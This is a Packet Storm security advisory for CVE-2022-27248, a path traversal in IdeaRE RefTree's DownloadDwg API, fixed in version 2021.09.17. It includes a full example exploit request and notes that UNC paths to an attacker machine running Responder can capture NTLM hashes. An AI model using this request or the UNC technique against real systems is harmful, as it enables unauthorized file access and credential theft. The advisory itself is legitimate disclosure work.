exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

IdeaRE RefTree Path Traversal

IdeaRE RefTree Path Traversal
Posted Mar 31, 2022
Authored by Savino Sisco

IdeaRE RefTree versions prior to 2021.09.17 suffer from a path traversal vulnerability.

tags | exploit
advisories | CVE-2022-27248
SHA-256 | 6c01288d24fb06203fba1bbb4a1569c7c1519c40ba0e613d0c951377f72407e7

IdeaRE RefTree Path Traversal

Change Mirror Download
===============================================================================
title: IdeaRE RefTree Download Path Traversal
product: IdeaRE RefTree < 2021.09.17
vulnerability type: Directory Traversal
CVE ID: CVE-2022-27248
severity: Medium
CVSSv3 score: 4.3
CVSSv3 vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
found: 2021-09-13
by: Savino Sisco <saviosisco@gmail.com>
===============================================================================

[EXECUTIVE SUMMARY]
RefTree is a web application made for managing complex real estate situations.
Among other features, it offers the possibility for authenticated users
to upload and download DWG (CAD drawings) files for buildings.

During a penetration test activity, a "Directory Traversal" vulnerability
was found on the download feature which allows to download arbitrary files
with the "dwg" extension. The application actually checks that the filename
ends with "dwg", so it's not possible to download files with other extensions.

This vulnerability may also allow to steal NTLM hashes of the host system
by supplying, as the download path, a UNC path pointing to an
attacker controlled machine running a tool like Responder.

[VULNERABLE VERSIONS]
IdeaRE RefTree < 2021.09.17

[TECHNICAL DETAILS]
It is possible to reproduce the issue following these steps:
1. Log into the application to get a valid session cookie
2. Use the API endpoint '/CaddemServiceJS/CaddemService.svc/rest/DownloadDwg'
to download an arbitrary "dwg" file (UNC paths are accepted).


Example of the request to the Download endpoint:

POST /CaddemServiceJS/CaddemService.svc/rest/DownloadDwg HTTP/2
Host: [REDACTED]
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 111
Origin: https://[REDACTED]
Referer: https://[REDACTED]/Reftreespace/
Cookie: ASP.NET_SessionId=dezu5r0zswyqk4dukwt5jt5n

{
"path": "C:\\Users\\Public\\test.dwg"
}


HTTP/2 200 OK
Cache-Control: private
Content-Type: application/json; charset=utf-8
Server: Microsoft-IIS/10.0
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: https://[REDACTED]
X-Powered-By: ASP.NET
Date: Thu, 10 Oct 2021 11:21:32 GMT
Content-Length: 241916

{"DownloadDwgResult":[BASE64_FILE_REDACTED]}


[VULNERABILITY REFERENCE]
The following CVE ID was allocated to track the vulnerabilities:
CVE-2022-27248


[DISCLOSURE TIMELINE]
2021-09-13 Vulnerability disclosed to our customer and the vendor.
Vendor acknowledged the issue.
2021-09-17 Vendor released a fix for the software.
2021-10-15 The vulnerability was rechecked in the newer version to confirm
that is was indeed fixed.
2022-03-15 Researcher requested to publicly disclose the issue; public
coordinated disclosure.

[RESOLUTION]
Update the software to a version >= 2021.09.17

[CONTACT DETAILS]
Savino Sisco <saviosisco@gmail.com>
https://www.linkedin.com/in/savino-sisco/
Login or Register to add favorites

File Archive:

February 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    16 Files
  • 2
    Feb 2nd
    19 Files
  • 3
    Feb 3rd
    0 Files
  • 4
    Feb 4th
    0 Files
  • 5
    Feb 5th
    24 Files
  • 6
    Feb 6th
    2 Files
  • 7
    Feb 7th
    10 Files
  • 8
    Feb 8th
    25 Files
  • 9
    Feb 9th
    37 Files
  • 10
    Feb 10th
    0 Files
  • 11
    Feb 11th
    0 Files
  • 12
    Feb 12th
    17 Files
  • 13
    Feb 13th
    20 Files
  • 14
    Feb 14th
    25 Files
  • 15
    Feb 15th
    15 Files
  • 16
    Feb 16th
    6 Files
  • 17
    Feb 17th
    0 Files
  • 18
    Feb 18th
    0 Files
  • 19
    Feb 19th
    35 Files
  • 20
    Feb 20th
    25 Files
  • 21
    Feb 21st
    18 Files
  • 22
    Feb 22nd
    0 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    0 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files
  • 29
    Feb 29th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close